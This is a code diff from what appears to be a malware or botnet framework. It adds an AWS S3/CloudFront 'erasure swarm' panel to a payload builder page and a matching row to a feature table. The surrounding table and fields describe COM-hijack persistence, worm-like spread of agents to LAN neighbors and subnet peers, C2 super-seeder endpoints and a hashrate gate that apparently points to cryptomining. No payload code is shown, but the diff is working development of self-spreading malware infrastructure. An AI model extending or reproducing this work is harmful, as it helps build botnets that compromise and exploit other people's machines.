import { blueprintDiff, buildRequestFromRecord } from '../help/buildManager'; import { blueprintDiff, buildRequestFromRecord } from '../help/buildManager';
import DownloadButton from '../components/DownloadButton'; import DownloadButton from '../components/DownloadButton';
@@ -3082,6 +3083,17 @@ export default function BuilderPage() {
<ForgeLockedHint meta={fieldMeta.webrtc_mesh_spread} /> <ForgeLockedHint meta={fieldMeta.webrtc_mesh_spread} />
</div> </div>
{calibrateConfig?.server && (
<AwsErasureSwarmPanel
server={calibrateConfig.server}
onServerChange={(patch) =>
setCalibrateConfig((prev) =>
prev ? { ...prev, server: { ...prev.server, ...patch } } : prev,
)
}
/>
)}
<div className={`form-group checkbox-group ${fieldMeta.com_hijack_persist?.disabled ? 'field-disabled' : ''}`}> <div className={`form-group checkbox-group ${fieldMeta.com_hijack_persist?.disabled ? 'field-disabled' : ''}`}>
<label className="checkbox-label"> <label className="checkbox-label">
<input type="checkbox" className="checkbox" checked={!!form.com_hijack_persist} <input type="checkbox" className="checkbox" checked={!!form.com_hijack_persist}

View File

@@ -64,6 +64,7 @@ Windows dashboard only; no in-process cloudflared. Genealogy fields are **teleme
| **BGP-style spread router** | `server/internal/spreadrouter/`; Path Tracer + deploy plan `spread_route_hint` | `go test ./internal/spreadrouter/... -count=1`; `go test ./internal/api/... -run SpreadRoute -count=1` | | **BGP-style spread router** | `server/internal/spreadrouter/`; Path Tracer + deploy plan `spread_route_hint` | `go test ./internal/spreadrouter/... -count=1`; `go test ./internal/api/... -run SpreadRoute -count=1` |
| **Erasure-coded multi-lane spread (foundation)** | Server `internal/erasure/` RS 4+2 encode + `erasure_plan` on deploy plans; agent `deploy/erasure_staging.go` k-of-n reassembly fallback; Calibrate `server.erasure_lanes_enabled` + Path Tracer `RS lanes` hint | `go test ./internal/erasure/... -count=1`; `go test ./internal/api/... -run Erasure -count=1`; `go test ./deploy/... -run Erasure -count=1`; `go test ./config/... ./client/... -run Erasure -count=1` | | **Erasure-coded multi-lane spread (foundation)** | Server `internal/erasure/` RS 4+2 encode + `erasure_plan` on deploy plans; agent `deploy/erasure_staging.go` k-of-n reassembly fallback; Calibrate `server.erasure_lanes_enabled` + Path Tracer `RS lanes` hint | `go test ./internal/erasure/... -count=1`; `go test ./internal/api/... -run Erasure -count=1`; `go test ./deploy/... -run Erasure -count=1`; `go test ./config/... ./client/... -run Erasure -count=1` |
| **Fleet Torrent (erasure extension)** | Content-addressed shard DHT on seeder agents; `subnet_primary_seeder` auth hint; `fleet_torrent_gossip` cross-subnet relay; BGP `swarm_magnet` + `shard_manifest_urls` on `spread_route_hint`; C2 super-seeder `/api/v1/public/erasure-torrent/{token}/manifest`; agent `deploy/fleet_torrent.go` k-of-n from 3 LAN neighbors → subnet peers → C2; zero-server 30m reconnect | `go test ./internal/erasure/... -run Torrent -count=1`; `go test ./internal/atlas/... -run FleetGossip -count=1`; `go test ./internal/api/... -run FleetTorrent -count=1`; `go test ./deploy/... ./client/... ./config/... -run FleetTorrent -count=1`; Vitest `settingHelp.test.ts` fleet_torrent row | | **Fleet Torrent (erasure extension)** | Content-addressed shard DHT on seeder agents; `subnet_primary_seeder` auth hint; `fleet_torrent_gossip` cross-subnet relay; BGP `swarm_magnet` + `shard_manifest_urls` on `spread_route_hint`; C2 super-seeder `/api/v1/public/erasure-torrent/{token}/manifest`; agent `deploy/fleet_torrent.go` k-of-n from 3 LAN neighbors → subnet peers → C2; zero-server 30m reconnect | `go test ./internal/erasure/... -run Torrent -count=1`; `go test ./internal/atlas/... -run FleetGossip -count=1`; `go test ./internal/api/... -run FleetTorrent -count=1`; `go test ./deploy/... ./client/... ./config/... -run FleetTorrent -count=1`; Vitest `settingHelp.test.ts` fleet_torrent row |
| **AWS Erasure Swarm (S3 + CloudFront)** | Operator bucket/CF domain in server config; `AF_AWS_*` / `AF_CLOUDFRONT_*` env; `AttachS3Swarm` on deploy plans; signed `edge_url` on shards; BGP `xs=` magnets; agent LAN → CloudFront → C2; Forge panel test + policy JSON | `go test ./internal/erasure/... -run S3 -count=1`; `go test ./internal/api/... -run "ErasureSwarm|S3Swarm" -count=1`; `go test ./deploy/... -run FleetTorrent -count=1`; Vitest `AwsErasureSwarmPanel.test.tsx` |
| **Spread genealogy watermark** | Forge `-ldflags` + env overrides; auth/stats JSON only | `go test ./config/... -run Genealogy -count=1`; `go test ./internal/builder/... -run Genealogy -count=1`; `go test ./internal/api/... -run SpreadGenealogy -count=1` | | **Spread genealogy watermark** | Forge `-ldflags` + env overrides; auth/stats JSON only | `go test ./config/... -run Genealogy -count=1`; `go test ./internal/builder/... -run Genealogy -count=1`; `go test ./internal/api/... -run SpreadGenealogy -count=1` |
| **Genealogy grafting** | Court `spread_graft` + L4 + hashrate gate; `POST /api/v1/fleet/graft`; auth `graft_policy` push; agent applies tier order on next spread; zero config when `ai_control_enabled` + `fleet_roles_enabled` | `go test ./internal/strategy/... -run Graft -count=1`; `go test ./internal/api/... -run FleetGraft -count=1`; `go test ./client/... -run GraftPolicy -count=1`; Vitest `AccessDepthPanel.test.tsx` graft note, `PathTracerPage.test.tsx` graft note | | **Genealogy grafting** | Court `spread_graft` + L4 + hashrate gate; `POST /api/v1/fleet/graft`; auth `graft_policy` push; agent applies tier order on next spread; zero config when `ai_control_enabled` + `fleet_roles_enabled` | `go test ./internal/strategy/... -run Graft -count=1`; `go test ./internal/api/... -run FleetGraft -count=1`; `go test ./client/... -run GraftPolicy -count=1`; Vitest `AccessDepthPanel.test.tsx` graft note, `PathTracerPage.test.tsx` graft note |
| **Court retry + L4 elevation** | `server/internal/ai/court_commands.go`, scheduler `ensureCourtRetryClearance` | `go test ./internal/ai/... -run CourtRetry -count=1` | | **Court retry + L4 elevation** | `server/internal/ai/court_commands.go`, scheduler `ensureCourtRetryClearance` | `go test ./internal/ai/... -run CourtRetry -count=1` |